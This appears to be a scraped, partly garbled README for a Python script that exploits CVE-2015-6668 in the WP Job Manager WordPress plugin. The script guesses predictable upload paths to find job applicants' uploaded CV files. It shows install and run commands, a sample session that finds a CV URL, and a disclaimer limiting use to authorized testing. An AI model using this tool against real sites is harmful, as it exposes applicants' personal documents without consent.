notrustedx/job-manager-disclosureCVE-2015-6668, relacionada con el plugin WP Job Manager para WordPress (versiones ≤ 0.7.25).
This script automates the search for CV files (such as .jpg, .png, .jpeg) publicly exposed via the vulnerability CVE-2015-6668, related to the WP Job Manager plugin for WordPress (versions ≤ 0.7.25).
The vulnerability allows knowing the exact name of a file uploaded by users (e.g., resumes) by directly accessing predictable upload paths on the web server.
This script:
tqdm.found_cv_urls.txt.Install the dependencies by running:
pip install -r requirements.txt
requirements.txtrequests
tqdm
colorama
python jobmanagerdisclosure.py
Enter a vulnerable website (e.g. https://example.com): https://example.com
Enter the CV file name (e.g. John Doe): HackerAccessGranted
Enter start year (e.g. 2017): 2017
Enter end year (e.g. 2019): 2019
[+] Found CV: https://example.com/wp-content/uploads/2018/04/HackerAccessGranted.png
[+] Results saved to found_cv_urls.txt
jobmanagerdisclosure.py: Main script.requirements.txt: Required libraries.found_cv_urls.txt: Generated file with found URLs.README.md: Project documentation.This script is provided for educational purposes only. It is not intended to be used on systems without explicit authorization. Unauthorized use of this script may be illegal.